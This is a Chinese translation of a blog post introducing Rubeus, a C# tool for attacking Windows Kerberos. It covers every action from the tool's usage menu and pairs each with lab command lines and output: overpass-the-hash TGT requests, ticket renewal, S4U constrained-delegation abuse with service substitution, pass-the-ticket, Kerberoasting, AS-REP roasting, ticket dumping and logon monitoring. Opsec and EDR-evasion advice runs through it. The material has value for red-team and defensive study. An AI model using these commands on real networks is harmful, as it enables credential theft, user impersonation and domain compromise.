译者注:本文由丝绸之路翻译,如有谬误,请在文本本文评论处指出,谢谢!
关于Rubeus 功能介绍可参考:Rubeus酷炫的新功能
Kekeo是继 mikatz 之后 Benjamin Delpy 的另一个大项目,是一个拥有一系列优秀特性且令人敬畏的代码库。 正如本杰明所说,它位于 Mimikatz 代码库之外,因为"我讨厌编写与网络相关的代码; 它在内部使用了一个外部的商业 ASN. 1库。"
Kekeo 提供了(功能列表未完成) :
· 能够从用户的哈希 (rc4_hmac/aes128_cts_hmac_sha1/aes256_cts_hmac_sha1)请求票证授予票证(TGT) ,并将请求的 TGT 应用于当前登录会话。 这为 Mimikatz 的”over-pass-the-hash" 提供了一个替代方案,该方案不操作 LSASS 的内存,也不需要管理特权
· 从现有的 TGT 请求服务票证的能力
· 我所知道的除了 Impacket 之外唯一实现S4U 约束委派滥用(包括 sname 替换)的工具。
· 滥用智能卡的功能,我还没有完全理解🙂
· 其他更多的功能!
那么,为什么渗透测试行业没有像 Mimikatz 那样在同样的程度上拥抱 Kekeo 呢?
https://twitter.com/gentilkiwi/status/1013914776043442177
其中一部分原因是其滥用的性质更为微妙,但我认为还有另外两个主要原因。 首先,Kekeo 不能很好地处理现有的 PE 加载器。 我尝试让代码库使用 Invoke-ReflectivePEInjection 以及@subtee 的 .NET PE loader,但我不是每次都成功。 我怀疑有其他在这方面比我知道得更多,从而可以让它正常工作,但我确实没有遇到每次都成功的情况。
其次,也是相关的,Kekeo 需要一个商业 ASN. 1库。 ASN. 1是 Kerberos 通信中使用的编码方案,其他许多地方也是如此。 这意味着,如果没有该库的商业许可,在 Kekeo 修改任何东西都非常困难,因此大多数安全研究人员只能实际地使用 Kekeo 的预编译发布二进制文件。 这些很可能会被 AV 标记,再加上前面提到的修改限制和 PE 加载器不易使用的问题,导致大多数人已经pass 掉了 Kekeo。 真不幸。
今天我发布了 Rubeus,我用 C# 重新实现了 Kekeo 的部分(不是全部)功能,这只是一个开始。 为了更好地理解整个系统,我一直想更深入地研究 Kerberos 的结构和交换过程,而这个项目为直接介入提供了完美的借口。 需要明确的是: 这些技术和实现的发起者是本杰明,这只是在另一种语言中的重新实现。 代码库还借鉴了本杰明的好搭档文森特(Vincent LE TOUX),他的鲜为人知的 MakeMeEnterpriseAdmin 项目提供了一些很棒的与 C# LSA 相关的功能,为我节省了大量的时间。 非常感谢本杰明和文森特开创了这一领域,并提供了伟大的代码基础工作–没有他们的工作,这个项目绝对不会存在。
尽管他们已有很好的例子,我还是要说,这是我做过的最具技术挑战性的项目之一。 我使用的 ASN. 1库是"原始的"库,这意味着每个 Kerberos 结构或多或少都必须手工实现。 对于那些希望深入研究 Kerberos 结构或 ASN. 1解析的人,我唯一的警告是"Here be dragons”(出自《神探夏洛克》)
现在让我们进入正题吧!
Rubeus
Rubeus (以鲁伯斯 · 海格的名字命名,他不得不为自己长三个头的狗辩护)是 C# 版本3.0(.NET 3.5)兼容的工具,以便在流量和主机级别上操作 Kerberos 的各种组件。 它使用了一个来自 Thomas Pornin 的名为 DDer 的 C# ASN. 1解析/编码库,该库是带有"类似于 MIT-like"的许可证发布的。 正如前面提到的,Kerberos 流量使用 ASN. 1编码来处理流量,并且找到一个可用的(最小的) C# ASN. 1库是一个巨大的挑战。 非常感谢 Thomas 编写的干净又稳定的代码!
Rubeus 有一系列可以运行的"操作"和命令。 如果没有提供参数,则显示以下帮助菜单:
______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 Rubeus usage: Retrieve a TGT based on a user hash, optionally applying to a specific LUID or creating a /netonly process to apply the ticket to: Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid] [/createnetonly:C:\Windows\System32\cmd.exe] [/show] Renew a TGT, optionally autorenewing the ticket up to its renew-till limit: Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew] Perform S4U constrained delegation abuse: Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt] Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt] Submit a TGT, optionally targeting a specific LUID (if elevated): Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID] Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated): Rubeus.exe purge [/luid:LOGINID] Parse and describe a ticket (service ticket or TGT): Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID: Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] Perform Kerberoasting: Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."] Perform Kerberoasting with alternate credentials: Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."] Perform AS-REP "roasting" for users without preauth: Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID: Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID] Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions: Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER] Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire: Rubeus.exe harvest [/interval:MINUTES] NOTE: Base64 ticket blobs can be decoded with : [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
接下来,我将遍历每个功能,解释该功能的操作用例和 opsec 注意事项,以及演示一个或多个例子。
另外,如上所示,除非指定了 /ptt 选项,否则 Rubeus 将以列包裹的 base64 编码的数据块的形式输出票证。 使用这些数据块的最简单的方法是将它们复制到 sublime 或 VS Code 之类的编辑器中,然后对”\n”执行正则搜索或替换,将所有内容放到一行中。 然后,你可以将 base64 编码的票证数据块传递给其他 Rubeus 功能,或者使用以下 PowerShell 命令轻松地将它们写入磁盘:
[IO.File]::WriteAllBytes(“ticket.kirbi”, [Convert]::FromBase64String(“aaBASE64bd…”))
功能介绍之asktgt
asktgt 操作将为指定的用户和加密密钥(/rc4或 /aes256)构建原始的 AS-REQ (TGT 请求)流量。如果没有指定 /domain,则提取计算机的当前域,如果没有指定 /dc,则使用 DsGetDcName。对系统的当前域控制器执行相同的操作。 如果身份验证成功,则解析生成的 AS-REP 和 KRB-CRED (a.kirbi 文件,其中包括用户的 TGT) 作为 base64 编码后的数据块输出。/ptt 标志将执行传递票证(pass-the-ticket)并将生成的 Kerberos 凭据应用于当前登录会话,而 /luid:X 标志将票证应用于指定的登录会话(需要提升权限) 。如果 /createnetonly:X 被指定,则CreateProcessWithLogonW() 用于创建一个新的隐藏进程(除非指定 /show) ,其 SECURITY_LOGON_TYPE 为9 (NewCredentials) ,相当于 runas /netonly。 然后将请求的票证应用于这个新的登录会话。
在操作上,这提供了 Mimikatz 的 sekurlsa::pth 命令的替代方案,该命令启动了一个虚拟的登录会话或进程,并将提供的哈希修补到内存中,以启动底层的票证交换进程。 这个进程连接到 LSASS 并操作它的一些内存,这可能是 EDR 的一个检测指标,并且这个操作也需要管理访问权限。
在我们的示例中(或者使用 Kekeo 的 tgt::ask 模块) ,由于我们只是将原始的 Kerberos 通信发送到当前或指定的域控制器服务器,所以主机上不需要提升的特权。对于请求 TGT 的用户,我们只需要正确的 rc4_hmac (/rc4) 或 aes256_cts_hmac_sha1(/aes256)哈希即可。
另外,另外一个要注意的 opsec 是: 一次只能将一个 TGT 应用于当前登录会话,因此当使用 /ptt 选项应用新票证时,将清除以前的 TGT。 有个解决方案是使用 /createnetonly:X 参数,或者请求票证并将其应用于使用 ptt /luid:X 的另一个登录会话。
c:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Ask TGT [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a' [*] Connecting to 192.168.52.100:88 [*] Sent 230 bytes [*] Received 1537 bytes [+] TGT request successful! [*] base64(ticket.kirbi): doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg ...(snip)... [*] Action: Import Ticket [+] Ticket successfully imported! C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /createnetonly:C:\Windows\System32\cmd.exe ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Create Process (/netonly) [*] Showing process : False [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 4988 [+] LUID : 6241024 [*] Action: Ask TGT [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe [*] Target LUID : 6241024 [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\harmj0y' [*] Connecting to 192.168.52.100:88 [*] Sent 232 bytes [*] Received 1405 bytes [+] TGT request successful! [*] base64(ticket.kirbi): doIFFjCCBRKgAwIB...(snip)... [*] Action: Import Ticket [*] Target LUID: 0x5f3b00 [+] Ticket successfully imported!
如果将票证导入当前登录会话时没有指定 /ptt 功能,则可以使用 Rubeus ptt 命令(见本文的文档)、 Mimikatz kerberos::ptt 功能或 Cobalt Strike 的 kerberos_ticket_use在后续应用票证。
注意:/luid 和 /createnetonly 参数需要提升权限才可使用!
功能介绍之renew
大多数域默认的 Kerberos 策略为 TGT 提供了十个小时的生命周期和为期七天的更新窗口。 那么,这究竟意味着什么呢?
为用户导入到 LSASS 中的票证不仅仅是 TGT,还有 KRB-CRED 结构体(Mimikatz 语言中的 .kirbi 文件) ,其中包括用户的 TGT (使用 Kerberos 服务签名密钥 krbtgt 加密)和一个 EncKrbCredPart ,其中包括一个或多个 KrbCredInfo 结构体的序列。 这些最终结构包括了 TGT 请求返回的会话密钥(AS-REQ/AS-REP)。 当请求额外资源时,此会话密钥与不透明的 TGT 数据块一起使用。 会话密钥只适用于(默认情况下)十个小时的生存期,但是 TGT 可以更新最多七天(默认情况下) ,以接收新的会话密钥,因此可以使用 KRB-CRED 结构。
所以如果你有一个 .kirbi 文件(或者相关的 Rubeus base64 编码数据块)在其十小时的有效期内,并且在其七天的续签窗口内,你可以使用 Kekeo 或 Rubeus 更新 TGT 重新启动十小时的窗口并延长凭证的有效期。
续订操作将使用指定的 /ticket:X 提供的原始 TGS-REQ或TGS-REP TGT 构建或解析续订交换。此值可以是 base64 编码后的 .kirbi 文件内容或指定一个磁盘上存在的 .kirbi 文件。 如果没有指定 /dc,计算机的当前域控制器将被提取并用作更新流量的目标。 /ptt 标志将执行传递票证(pass-the-ticket)并将生成的 Kerberos 凭据应用于当前登录会话。
c:\Rubeus>Rubeus.exe renew /ticket:doIFmjCC...(snip)... ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Renew TGT [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a' [*] Connecting to 192.168.52.100:88 [*] Sent 1500 bytes [*] Received 1510 bytes [+] TGT renewal request successful! [*] base64(ticket.kirbi): doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg ...(snip)...
如果你希望自动续订票证,直到达到票证的续订限制,则只需使用 /autorenewed 参数:
C:\Rubeus>Rubeus.exe renew /ticket:doIFFj...(snip)... /autorenew ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Auto-Renew TGT [*] User : [email protected] [*] endtime : 9/24/2018 3:34:05 AM [*] renew-till : 9/30/2018 10:34:05 PM [*] Sleeping for 165 minutes (endTime-30) before the next renewal [*] Renewing TGT for [email protected] [*] Action: Renew TGT [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\harmj0y' [*] Connecting to 192.168.52.100:88 [*] Sent 1370 bytes [*] Received 1378 bytes [+] TGT renewal request successful! [*] base64(ticket.kirbi): doIFFjCCBRKg...(snip)... [*] User : [email protected] [*] endtime : 9/24/2018 8:03:55 AM [*] renew-till : 9/30/2018 10:34:05 PM [*] Sleeping for 269 minutes (endTime-30) before the next renewal [*] Renewing TGT for [email protected][*] Renewing TGT for [email protected]
为了更进一步,请查看 Rubeus 的收割(harvest参数)功能,它将收割系统上的 TGT 并自动更新所有 TGT,直到达到它们的更新窗口。
功能介绍之S4U
约束委派是一个很难深入解释的话题,即使写一个段落也不能很好地解释这个问题。 要了解更多的背景知识,请查看我写的 S4U2Pwnage 文章和相关资源。这个 Rubeus 操作与 Kekeo 的 tgs::s4u 功能几乎完全相同。 约束委派的配置现在也是 BloodHound 2.0 收集的一个优势。
但是作为一个 tl;dr(互联网俚语,意为:内容太长,不要阅读哦),如果用户或计算机帐户在其msds-allowedToDelegateto 字段中设置了服务主体名(SPN) ,而攻击者可以破解该用户或计算机帐户的哈希,那么攻击者可以假装是目标主机上的任何服务的任何域用户。
要滥用这个 TTP,首先需要为配置了约束委派的帐户提供一个有效的 TGT/KRB-CRED 文件。 这可以通过 asktgt 操作实现,只需该帐户的 NTLM/RC4 或 aes256_cts_hmac_sha1 哈希即可。 然后通过 /ticket (同样,可以是 base64 编码后的数据块或磁盘上的票证文件)将票证提供给 s4u 操作,同时提供一个 必需的 impersonateuser:X 假冒为帐户的 msds-allowedToDelegateTo 字段中配置的 msdsspn:SERVICE/SERVERSPN。 /dc 和 /ptt 参数的功能与前面的操作相同。
/altservice参数利用了 Alberto Solino 的重大发现,即在 KRB-CRED 文件中未保护服务名称(sname) ,只保护服务器名称。 这允许我们在产生的 KRB-CRED (.kirbi) 文件中替换任何我们想要的服务名称。
c:\Temp\tickets>Rubeus.exe asktgt /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Ask TGT [*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6 [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy' [*] Connecting to 192.168.52.100:88 [*] Sent 230 bytes [*] Received 1377 bytes [*] base64(ticket.kirbi): doIE+jCCBPagAwIBBaE...(snip)... c:\Temp\tickets>Rubeus.exe s4u /ticket:C:\Temp\Tickets\patsy.kirbi /impersonateuser:dfm.a /msdsspn:ldap/primary.testlab.local /altservice:cifs /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: S4U [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy' [*] Impersonating user 'dfm.a' to target SPN 'ldap/primary.testlab.local' [*] Final ticket will be for the alternate service 'cifs' [*] Sending S4U2self request [*] Connecting to 192.168.52.100:88 [*] Sent 1437 bytes [*] Received 1574 bytes [+] S4U2self success! [*] Building S4U2proxy request for service: 'ldap/primary.testlab.local' [*] Sending S4U2proxy request [*] Connecting to 192.168.52.100:88 [*] Sent 2618 bytes [*] Received 1798 bytes [+] S4U2proxy success! [*] Substituting alternative service name 'cifs' [*] base64(ticket.kirbi): doIGujCCBragAwIBBaEDAgE...(snip)... [*] Action: Import Ticket [+] Ticket successfully imported!
或者,与提供 /ticket相反,可以使用 /user:X 和 /rc4:X 或 /aes256:X哈希规范(/domain:X 可选)类似于 asktgt 操作,首先为 /user请求配置了约束委派的 TGT,然后用于 s4u 交换。
C:\Temp\tickets>dir \\primary.testlab.local\C$ The user name or password is incorrect. C:\Temp\tickets>Rubeus.exe s4u /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6 /impersonateuser:dfm.a /msdsspn:LDAP/primary.testlab.local /altservice:cifs /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Ask TGT [*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6 [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy' [*] Connecting to 192.168.52.100:88 [*] Sent 230 bytes [*] Received 1377 bytes [+] TGT request successful! [*] base64(ticket.kirbi): doIE+jCCBPagAwIBBaEDAg...(snip)... [*] Action: S4U [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy' [*] Impersonating user 'dfm.a' to target SPN 'LDAP/primary.testlab.local' [*] Final ticket will be for the alternate service 'cifs' [*] Sending S4U2self request [*] Connecting to 192.168.52.100:88 [*] Sent 1437 bytes [*] Received 1574 bytes [+] S4U2self success! [*] Building S4U2proxy request for service: 'LDAP/primary.testlab.local' [*] Sending S4U2proxy request [*] Connecting to 192.168.52.100:88 [*] Sent 2618 bytes [*] Received 1798 bytes [+] S4U2proxy success! [*] Substituting alternative service name 'cifs' [*] base64(ticket.kirbi): doIGujCCBragAwIBBaE...(snip)... [*] Action: Import Ticket [+] Ticket successfully imported! C:\Temp\tickets>dir \\primary.testlab.local\C$ Volume in drive \\primary.testlab.local\C$ has no label. Volume Serial Number is A48B-4D68 Directory of \\primary.testlab.local\C$ 03/05/2017 05:36 PM <DIR> inetpub 08/22/2013 08:52 AM <DIR> PerfLogs 04/15/2017 06:25 PM <DIR> profiles 08/28/2018 12:51 PM <DIR> Program Files 08/28/2018 12:51 PM <DIR> Program Files (x86) 08/23/2018 06:47 PM <DIR> Temp 08/23/2018 04:52 PM <DIR> Users 08/23/2018 06:48 PM <DIR> Windows 8 Dir(s) 40,679,706,624 bytes free
功能介绍之ptt
Rubeus ptt 命令相当简单: 它将为当前登录会话提交票证(TGT 或服务票证 .kirbi),使用带有 KERB_SUBMIT_TKT_REQUEST消息的 LsaCallAuthenticationPackage() API,(假如已经特权提升了)到 /luid:X指定的登录会话。 这和 Mimikatz 的 kerberos::ptt 的功能相同。 与其他 Rubeus /ticket:X参数一样,该值可以是 .kirbi 文件或一个在磁盘上存在的 .kirbi 文件的路径。
c:\Rubeus>Rubeus.exe ptt /ticket:doIFmj...(snip)... ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Import Ticket [+] Ticket successfully imported!
提醒一下,登录会话一次只能应用一个 TGT! 解决方案是使用 createnetonly 操作启动登录类型是9的进程,并使用 /luid:X 参数将票证应用于特定的登录 ID。
注意:/luid 参数需要特权提升!
功能介绍之purge
purge操作将从当前登录会话中清除所有的 Kerberos 票证,或者(如果已经特权提升了)清除 /luid:X 指定的登录会话中的所有 Kerberos 票证。这与 Mimikatz 或 Kekeo 的 kerberos::purge 功能或 Cobalt Strike 的 kerberos_ticket_purge功能相同。
C:\Temp\tickets>Rubeus.exe purge ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Purge Tickets [+] Tickets successfully purged! C:\Temp\tickets>Rubeus.exe purge /luid:34008685 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Purge Tickets [*] Target LUID: 0x206ee6d [+] Tickets successfully purged!
注意:/luid 参数需要特权提升!
功能介绍之describe
有时候你想知道一个特定的 .kirbi 文件中的 Kerberos 信任细节。 describe 动作获取 /ticket:X的值 (TGT 或服务票证) 并解析该值后描述票证的值。与其他的 /ticket:X参数一样,该值可以是 base64 编码后的 .kirbi 文件内容或是一个在磁盘上存在的 .kirbi 文件的路径。
c:\Rubeus>Rubeus.exe describe /ticket:doIFmjCC...(snip)... ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Display Ticket UserName : dfm.a UserRealm : TESTLAB.LOCAL ServiceName : krbtgt ServiceRealm : TESTLAB.LOCAL StartTime : 9/17/2018 6:51:00 PM EndTime : 9/17/2018 11:51:00 PM RenewTill : 9/24/2018 4:22:59 PM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : 2Bpbt6YnV5PFdY7YTo2hyQ==
功能介绍之createnetonly
createnetonly 操作将使用 CreateProcessWithLogonW() API 创建一个新的隐藏进程(除非指定了 /show) ,其 SECURITY_LOGON_TYPE为9(NewCredentials) ,相当于 runas /netonly,并返回进程 ID 和 LUID (登录会话 ID)。 然后,可以使用这个进程和 ptt /luid:X 参数应用特定的 Kerberos 票证,假设已经特权提升了的话。 这可以防止在当前登录会话中删除现有的 TGT。
C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Create Process (/netonly) [*] Showing process : False [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 9060 [+] LUID : 6290874
功能介绍之kerberoast
kerberoast 操作取代了 SharpRoast 项目的功能。 与 SharpRoast 类似,此操作使用 KerberosRequestorSecurityToken.GetRequest Method()方法,该方法由@machosec 提供给 PowerView,以请求适当的服务票证。与 SharpRoast 不同,此操作现在对结果结构执行适当的 ASN. 1解析,而不是使用 janky regex.。
在没有其他参数的情况下,当前域中设置有 SPN 的所有用户帐户都将执行 kerberoast 攻击。/spn:X 参数只会对指定的 SPN 执行 kerberoast 攻击,/user:X 参数会对指定的用户执行 kerberoast 攻击,而 /ou:X 参数会对指定的 OU 中的用户执行 kerberoast 攻击。 另外,如果你希望为 kerberoast 攻击使用备用域凭据,可以使用 /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD 指定凭据。
c:\Rubeus>Rubeus.exe kerberoast /ou:OU=TestingOU,DC=testlab,DC=local ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Kerberoasting [*] SamAccountName : testuser2 [*] DistinguishedName : CN=testuser2,OU=TestingOU,DC=testlab,DC=local [*] ServicePrincipalName : service/host [*] Hash : $krb5tgs$5$*$testlab.local$service/host*$95160F02CA8EB...(snip)...
功能介绍之asreproast
asreproast操作取代了 ASREPRoast 项目,其中执行的操作与(大型) BouncyCastle 库类似。 如果域用户没有启用 Kerberos 预身份验证,则可以成功地为用户请求 AS-REP,并且可以离线破解结构的一个组件。
/user:X 参数是必需的,而 /domain 和 /dc 参数是可选的。 如果没有指定 /domain 和 /dc,Rubeus 将像其他操作一样使用系统的默认值。 ASREPRoast 项目有一个与 JohnTheRipper 兼容的 哈希类型破解模块。
c:\Rubeus>Rubeus.exe asreproast /user:dfm.a ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: AS-REP Roasting [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/o preauth) for: 'testlab.local\dfm.a' [*] Connecting to 192.168.52.100:88 [*] Sent 163 bytes [*] Received 1537 bytes [+] AS-REQ w/o preauth successful! [*] AS-REP hash: [email protected]:F7310EA341128...(snip)...
功能介绍之dump
如果在提升了特权的上下文中,dump 操作将从内存中提取当前的 TGT 和服务票证。提取出的票证可以通过 /service (对于 TGT 可以使用 /service:krbtgt)或登录ID (/luid:X 参数)过滤。 KRB-CRED 文件(.kirbis)是以 base64 数据块的形式输出的,可以使用 ptt 功能、 Mimikatz 的 kerberos::ptt 功能或 Cobalt Strike 的 kerberos_ticket_use来代替使用。
c:\Temp\tickets>Rubeus.exe dump /service:krbtgt /luid:366300 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Dump Kerberos Ticket Data (All Users) [*] Target LUID : 0x596f6 [*] Target service : krbtgt UserName : harmj0y Domain : TESTLAB LogonId : 366326 UserSID : S-1-5-21-883232822-274137685-4173207997-1111 AuthenticationPackage : Kerberos LogonType : Interactive LogonTime : 9/17/2018 9:05:26 AM LogonServer : PRIMARY LogonServerDNSDomain : TESTLAB.LOCAL UserPrincipalName : [email protected] [*] Enumerated 1 ticket(s): ServiceName : krbtgt TargetName : krbtgt ClientName : harmj0y DomainName : TESTLAB.LOCAL TargetDomainName : TESTLAB.LOCAL AltTargetDomainName : TESTLAB.LOCAL SessionKeyType : aes256_cts_hmac_sha1 Base64SessionKey : AdI7UObh5qHL0Ey+n28oQpLUhfmgbAkpvcWJXPC2qKY= KeyExpirationTime : 12/31/1600 4:00:00 PM TicketFlags : name_canonicalize, pre_authent, initial, renewable, forwardable StartTime : 9/17/2018 4:20:25 PM EndTime : 9/17/2018 9:20:25 PM RenewUntil : 9/24/2018 2:05:26 AM TimeSkew : 0 EncodedTicketSize : 1338 Base64EncodedTicket : doIFNjCCBTKgAwIBBaEDAg...(snip)... [*] Enumerated 4 total tickets [*] Extracted 1 total tickets
请注意,此操作必须从提升了特权的上下文中运行,以便 dump 其他用户的 Kerberos 票证!
功能介绍之monitor
Monitor操作将监视 4624 这个登录事件的事件日志,并为新的登录 id (LUID)提取任何新的 TGT 票证。 /interval 参数(以秒为单位,默认值为60)指定检查事件日志的频率。 /filteruser:X参数可以指定只返回特定用户的票证数据。 在启用了无约束委派的服务器上,此功能特别有用。 😉
当 /filteruser(或者未指定任何用户) 创建了一个新的 4624 登录事件时,将输出任何提取的 TGT KRB-CRED 数据。
c:\Rubeus>Rubeus.exe monitor /filteruser:dfm.a ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: TGT Monitoring [*] Monitoring every 60 seconds for 4624 logon events [*] Target user : dfm.a [+] 9/17/2018 7:59:02 PM - 4624 logon event for 'TESTLAB.LOCAL\dfm.a' from '192.168.52.100' [*] Target LUID : 0x991972 [*] Target service : krbtgt UserName : dfm.a Domain : TESTLAB LogonId : 10033522 UserSID : S-1-5-21-883232822-274137685-4173207997-1110 AuthenticationPackage : Kerberos LogonType : Network LogonTime : 9/18/2018 2:59:02 AM LogonServer : LogonServerDNSDomain : TESTLAB.LOCAL UserPrincipalName : ServiceName : krbtgt TargetName : ClientName : dfm.a DomainName : TESTLAB.LOCAL TargetDomainName : TESTLAB.LOCAL AltTargetDomainName : TESTLAB.LOCAL SessionKeyType : aes256_cts_hmac_sha1 Base64SessionKey : orxXJZ/r7zbDvo2JUyFfi+2ygcZpxH8e6phGUT5zDbc= KeyExpirationTime : 12/31/1600 4:00:00 PM TicketFlags : name_canonicalize, renewable, forwarded, forwardable StartTime : 9/17/2018 7:59:02 PM EndTime : 9/18/2018 12:58:59 AM RenewUntil : 9/24/2018 7:58:59 PM TimeSkew : 0 EncodedTicketSize : 1470 Base64EncodedTicket : doIFujCCBbagAwIBBaE...(snip)... [*] Extracted 1 total tickets
